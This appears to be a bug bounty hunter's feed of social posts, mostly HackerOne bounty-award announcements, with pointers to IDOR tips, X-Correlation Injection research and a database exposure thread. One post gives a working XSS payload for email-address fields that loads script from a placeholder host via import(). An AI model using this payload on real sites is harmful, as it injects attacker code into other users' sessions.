Yay, I was awarded a $200 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

I received swag from HackerOne for hitting 500 reputation 😍 Thanks HackerOne #bugbounty #cybersecurity #infosec

Yay, I was awarded a $350 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

This repo contains fantastic notes on different vulnerabilities such as: - IDOR - LFI - SSRF and more. Check it out now! github.com/daffainfo/AllA…

Yay, I was awarded a $300 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Yay, I was awarded a $300 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Yay, I was awarded a $200 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required). "><img/src/onerror=import('//domain/')>"@yourdomain .com cc Brute Logic - brutelogic.com.br/blog/xss-limit…

Yay, I was awarded a $650 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Yay, I was awarded a $200 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Yay, I was awarded a $200 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

This is the thread I wish someone created for me when I started participating in bug bounty! 😅 Not everyone shares these methods... but Here are a few tips to help you identify & exploit more IDOR vulnerabilities! 🤑 🧵 👇

Yay, I was awarded $250 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Yay, I was awarded a $500 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Frans Rosen was on the pod last week and dropped some mind-bending X-Correlation Injection research on us. Including these gems on how to test for it... 1/7

Yay, I was awarded a $300 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Yay, I was awarded a $1,000 bounty on HackerOne! hackerone.com/ehtabbu #TogetherWeHitHarder #bugbounty #cybersecurity #infosec

Critical vulnerabilities doesn't have to be complex or have a CVE - DeepSeek publicly exposed their internal ClickHouse database to the world, without any authentication at all, and leaked sensitive data. No one is safe from security mistakes, follow along to learn more 🧵